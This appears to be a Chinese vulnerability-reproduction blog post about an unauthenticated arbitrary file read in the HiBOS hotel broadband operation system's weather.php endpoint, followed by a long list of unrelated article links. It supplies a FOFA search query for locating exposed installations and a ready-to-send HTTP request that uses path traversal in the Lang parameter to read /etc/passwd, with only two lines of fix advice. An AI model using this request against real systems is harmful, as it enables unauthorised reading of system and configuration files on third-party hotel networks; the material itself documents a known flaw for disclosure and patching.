当前位置： 首页 > news >正文

安美数字酒店宽带运营系统 weather.php 任意文件读取漏洞复现

news 来源：原创 2024/9/20 2:50:26

0x01 产品简介

HiBOS酒店宽带运营系统是由安美世纪(北京)科技有限公司开发的一套专为酒店设计的宽带管理系统。该系统旨在提升酒店宽带服务的运营效率和安全性，为酒店客人提供稳定、高速、便捷的上网体验。

0x02 漏洞概述

安美数字酒店宽带运营系统 weather.php 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

0x03 复现环境

FOFA：app="安美数字-酒店宽带运营系统"

0x04 漏洞复现

PoC

GET /user/weather.php?Lang=../../../etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

0x05 修复建议 

关闭互联网暴露面或接口设置访问权限

升级至安全版本

相关文章：

  • 北京网站建设多少钱？
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • redis面试（十五）公平锁队列重排
  • 封装clickHouse线程池与ibeetl解析SQL并对结果转进行转化
  • 监控电脑屏幕被拍照的原理是什么？如此有趣的电脑防偷窥知识，你一学就会！
  • MAC 终端上传文件到云服务器
  • 【银河麒麟高级服务器操作系统】libtirpc-devel 安装问题分析
  • 英国与日本经济数据影响市场走势
  • allegro PCB设计心得笔记(四) -- 显示坐标原点和更改默认产品选项
  • 计算机网络——运输层（进程之间的通信、运输层端口，UDP与TCP、TCP详解）
  • Qt实现中英文切换中QMessageBox中的中文信息怎么处理
  • uniapp基础知识【搬代码】
  • vue播放flv视频流
  • ASP.NET Core Web API 使用Autofac框架
  • 内网穿透工具Cpolar 食用指南
  • 2024/8/15 不上电测伺服端子是否正常
  • EMC学习笔记2——电磁兼容问题分析
  • Android优雅地处理按钮重复点击
  • AzureCon上微软宣布了哪些容器相关的重磅消息
  • CSS 专业技巧
  • go append函数以及写入
  • Go 语言编译器的 //go: 详解
  • Javascript基础之Array数组API
  • Node 版本管理
  • Travix是如何部署应用程序到Kubernetes上的
  • ⭐ Unity 开发bug —— 打包后shader失效或者bug (我这里用Shader做两张图片的合并发现了问题)
  • 第2章 网络文档
  • 离散点最小（凸）包围边界查找
  • 嵌入式文件系统
  • 学习笔记DL002:AI、机器学习、表示学习、深度学习，第一次大衰退
  • 责任链模式的两种实现
  • 扩展资源服务器解决oauth2 性能瓶颈
  • 如何通过报表单元格右键控制报表跳转到不同链接地址 ...
  • 新年再起“裁员潮”，“钢铁侠”马斯克要一举裁掉SpaceX 600余名员工 ...
  • ​如何使用ArcGIS Pro制作渐变河流效果
  • #Linux（make工具和makefile文件以及makefile语法）
  • #控制台大学课堂点名问题_课堂随机点名
  • $$$$GB2312-80区位编码表$$$$
  • $GOPATH/go.mod exists but should not goland
  • （2）nginx 安装、启停
  • (android 地图实战开发)3 在地图上显示当前位置和自定义银行位置
  • （HAL）STM32F103C6T8——软件模拟I2C驱动0.96寸OLED屏幕
  • (Ruby)Ubuntu12.04安装Rails环境
  • （待修改）PyG安装步骤
  • （二）学习JVM —— 垃圾回收机制
  • （附源码）ssm基于微信小程序的疫苗管理系统 毕业设计 092354
  • （个人笔记质量不佳）SQL 左连接、右连接、内连接的区别
  • （十三）Flink SQL
  • （四）React组件、useState、组件样式
  • （详细版）Vary: Scaling up the Vision Vocabulary for Large Vision-Language Models
  • （转）负载均衡，回话保持，cookie
  • .Net 4.0并行库实用性演练
  • .NET 4.0网络开发入门之旅-- 我在“网” 中央（下）
  • .NET CORE 3.1 集成JWT鉴权和授权2
  • .net FrameWork简介，数组，枚举
  • .net framwork4.6操作MySQL报错Character set ‘utf8mb3‘ is not supported 解决方法
  • .NET IoC 容器（三）Autofac